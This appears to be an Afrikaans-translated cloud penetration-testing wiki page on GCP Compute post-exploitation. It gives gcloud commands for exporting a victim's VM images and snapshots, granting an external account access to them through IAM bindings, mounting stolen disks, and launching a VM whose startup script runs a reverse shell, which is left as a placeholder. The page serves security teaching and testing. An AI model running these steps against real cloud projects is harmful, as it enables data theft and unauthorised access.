# GCP - Compute Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

## Compute

Vir meer inligting oor Compute en VPC (Networking) kyk:

{{#ref}}
../gcp-services/gcp-compute-instances-enum/
{{#endref}}

### Eksporteer & Inspekteer beelde lokaal

Dit sal 'n aanvaller in staat stel om **toegang tot die data wat binne reeds bestaande beelde bevat is** of **nuwe beelde van lopende VMs te skep** en toegang tot hul data te kry sonder om toegang tot die lopende VM te hê.

Dit is moontlik om 'n VM-image na 'n bucket te eksporteer en dit dan af te laai en plaaslik te mount met die opdrag:

<details>

<summary>Eksporteer en laai VM-image af</summary>
```bash
gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally
```
</details>

Voor die uitvoering van hierdie aksie mag die aanvaller voorregte oor die storage bucket nodig hê en beslis **voorregte oor cloudbuild** aangesien dit die **diens** is wat gevra gaan word om die export uit te voer\
Verder, om dit te laat werk benodig die codebuild SA en die compute SA geprivilegieerde bevoegdhede.\
Die cloudbuild SA `<project-id>@cloudbuild.gserviceaccount.com` benodig:

- roles/iam.serviceAccountTokenCreator
- roles/compute.admin
- roles/iam.serviceAccountUser

En die SA `<project-id>-compute@developer.gserviceaccount.com` benodig:

- oles/compute.storageAdmin
- roles/storage.objectAdmin

### Eksporteer & Inspekteer Snapshots & Disks lokaal

Dit is nie moontlik om snapshots en disks direk te exporteer nie, maar dit is moontlik om **'n snapshot in 'n disk te omskep, 'n disk in 'n image** en, volgens die **vorige afdeling**, daardie image te exporteer om dit lokaal te inspekteer

<details>

<summary>Skep disk vanaf snapshot en image vanaf disk</summary>
```bash
# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]

# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]
```
</details>

### Inspekteer 'n Image deur 'n VM te skep

Met die doel om toegang te kry tot die **data stored in an image** of binne 'n **running VM** vanwaar 'n **attacker has created an image,** is dit moontlik om 'n eksterne rekening toegang tot die image te gee:

<details>

<summary>Gee toegang tot image en skep 'n VM</summary>
```bash
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'
```
</details>

en skep daarna 'n nuwe VM daaruit:

<details>

<summary>Skep VM-instansie vanaf beeld</summary>
```bash
gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]
```
</details>

As jy nie jou eksterne rekening toegang tot die image kon gee nie, kan jy 'n VM in die slagoffer se projek lanseer wat daardie image gebruik en **die metadata laat 'n reverse shell uitvoer** om toegang tot die image te kry deur die param by te voeg:

<details>

<summary>Skep VM met reverse shell in metadata</summary>
```bash
--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'
```
</details>

### Inspekteer 'n Snapshot/Disk deur dit aan 'n VM te koppel

Met die doel om toegang te kry tot die **data gestoor in 'n disk of 'n snapshot, kan jy die snapshot omskakel na 'n disk, 'n disk na 'n image en die vorige stappe volg.**

Of jy kan 'n **eksterne rekening toegang gee** oor die disk (as die beginpunt 'n snapshot is, gee toegang oor die snapshot of skep 'n disk daaruit):

<details>

<summary>Gee toegang tot disk</summary>
```bash
gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'
```
</details>

**Koppel die skyf** aan 'n instance:

<details>

<summary>Koppel skyf aan instance</summary>
```bash
gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]
```
</details>

Koppel die disk binne die VM:

1.  **SSH into the VM**:

<details>

<summary>SSH into VM and mount disk</summary>

```sh
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
```

</details>

2.  **Identify the Disk**: Sodra jy binne die VM is, identifiseer die nuwe disk deur die disk devices te lys. Tipies kan jy dit vind as `/dev/sdb`, `/dev/sdc`, ens.
3.  **Format and Mount the Disk** (if it's a new or raw disk):

- Create a mount point:

<details>

<summary>Create mount point and mount</summary>

```sh
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
```

</details>

- Mount the disk:

<details>

<summary>Mount disk device</summary>

```sh
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]
```

</details>

As jy **nie toegang aan 'n external project kan gee** tot die snapshot of disk nie, moet jy moontlik hierdie aksies **binne 'n instance in dieselfde project as die snapshot/disk** uitvoer.

{{#include ../../../banners/hacktricks-training.md}}
